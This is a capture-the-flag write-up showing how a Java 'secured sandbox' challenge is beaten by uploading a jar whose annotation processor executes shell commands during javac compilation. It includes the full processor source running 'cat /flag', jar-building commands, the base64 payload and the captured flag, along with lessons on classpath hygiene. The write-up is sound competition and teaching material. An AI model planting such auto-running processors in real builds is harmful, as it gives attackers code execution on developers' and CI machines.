# Secured Java
The challenge is [a single python file](https://github.com/NicolaiSoeborg/ctf-writeups/blob/master/2022/Real%20World%20CTF%204th/Secured%20Java/secured_java.py) that allows you to "run untrusted Java in a safe way".
The code boils down to:1. you upload two files: `Main.java` and `dep.jar`2. it compile Main3. it runs Main with an empty _security policy_
Pseudocode:
```pythonget_file("Main.java")get_file("dep.jar")
subprocess.run(    ["javac", "-cp", DEP_FILE, SOURCE_FILE],    check=True,)
subprocess.run(["java", "--version"])subprocess.run(    [        "java",        "-cp", f".:{DEP_FILE}",        "-Djava.security.manager",        "-Djava.security.policy==/dev/null",        "Main",    ],    check=True,)```
Obviously running arbitrary Java code is dangerous, but because we are running it with a _SecurityManager_ and not explicitly granting permissions (e.g. "`grant { permission java.net.SocketPermission "localhost:1337", "listen" }`") then the attacker code will need to bypass the sandbox to run dangerous operations, e.g. cat'ing the flag.
Now, escaping the SecurityManager [is](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4681) [not](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0422) [unheard of](https://github.com/codeplutos/java-security-manager-bypass), but was mostly an issue when "Java Applets" ran in everyones browser.
While SecurityManager is [rarely used today](https://openjdk.java.net/jeps/411) there exists no publicly known bypasses.
So can we avoid having to bypass the sandbox?Can we run code during compiling (which is not sandboxed)? I.e. during `javac -cp dep.jar Main.java`?
While I was looking into trying to override any internal classes used by `javac` during compilation a kalmarunionen teammate found something that looked very promissing: "_annotation processor_".
Annotation processors are used during compilation to turn `@whatever` into e.g. new source files/documentation/etc.To specify new annotations you can run `javac -processor com.example.MyProcessor Main.java`, but `javac` will also automatically pick up all processors specified in `META-INF/services/javax.annotation.processing.Processor` of all jars in the classpath!
So the exploit plan is to generate a `dep.jar` which specifies an annotation processor which prints the flag.
## Crafting the exploit
**`dep.jar`**
First we create a minimal annotation processor (`MyProcessor.java`):
```javapackage dk.kalmar;import java.util.*;import javax.lang.model.*;import javax.lang.model.element.*;import javax.annotation.processing.*;
public class MyProcessor extends AbstractProcessor {    public static void execCmd(String cmd) throws Exception {        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");        System.out.println(cmd + "=> " + (s.hasNext() ? s.next() : ""));    }
    static {        try {            execCmd("cat /flag");            System.out.println("IT WORKS");        } catch (Exception e) {            System.out.println("Err: " + e.getMessage());        }   }
    // These methods needs to be defined, but doesn't matter    // as the above static block will run before anything else    @Override    public synchronized void init(ProcessingEnvironment env) { }    @Override    public boolean process(Set annoations, RoundEnvironment env) { return false; }    @Override    public Set<String> getSupportedAnnotationTypes() { return null; }    @Override    public SourceVersion getSupportedSourceVersion() { return null; }}```
Then `javac MyProcessor.java` and create the `dep.jar`:
```shmkdir -p META-INF/services/ dk/kalmar/
mv MyProcessor.class dk/kalmar/MyProcessor.classecho "dk.kalmar.MyProcessor" > META-INF/services/javax.annotation.processing.Processor
jar cvf dep.jar ./base64 -w0 dep.jar```
**`Main.java`**
```shecho "" | base64  # yep, empty! We just need it to not fail during base64 decoding```
## Payload
```$ nc 139.224.248.65 1337Welcome to the secured Java sandbox.Please send me the file Main.java.Content: (base64 encoded) Cg==Please send me the file dep.jar.Content: (base64 encoded) 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cat /flag=> rwctf{818dd1e92a56d1badd5234367d15d563}
An annotation processor threw an uncaught exception.Consult the following stack trace for details.java.lang.NullPointerException: Cannot invoke "javax.lang.model.SourceVersion.compareTo(java.lang.Enum)" because "procSourceVersion" is null	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$ProcessorState.checkSourceVersionCompatibility(JavacProcessingEnvironment.java:765)	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$ProcessorState.<init>(JavacProcessingEnvironment.java:704)	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$DiscoveredProcessors$ProcessorStateIterator.next(JavacProcessingEnvironment.java:829)	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment.discoverAndRunProcs(JavacProcessingEnvironment.java:925)	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment$Round.run(JavacProcessingEnvironment.java:1269)	at jdk.compiler/com.sun.tools.javac.processing.JavacProcessingEnvironment.doProcessing(JavacProcessingEnvironment.java:1384)	at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.processAnnotations(JavaCompiler.java:1261)	at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.compile(JavaCompiler.java:935)	at jdk.compiler/com.sun.tools.javac.main.Main.compile(Main.java:317)	at jdk.compiler/com.sun.tools.javac.main.Main.compile(Main.java:176)	at jdk.compiler/com.sun.tools.javac.Main.compile(Main.java:64)	at jdk.compiler/com.sun.tools.javac.Main.main(Main.java:50)Compiling...Failed to compile!```
Flag: `rwctf{818dd1e92a56d1badd5234367d15d563}`
# Learnings
Some learnings and takeaways for this challenge is that you really need to protect your _classpath_ when doing anything with Java!It is not uncommon to see the classpath containing `.` (cwd) which means that you need to be really careful when running/compile Java from an untrusted directory (as it can contain a `.jar` file that auto-executes malicious annotation processor code).Any kind of _auto run_ code is always super dangerous and probably we should hunt for dangerous `.jar`s in `/tmp/`, shared directories, etc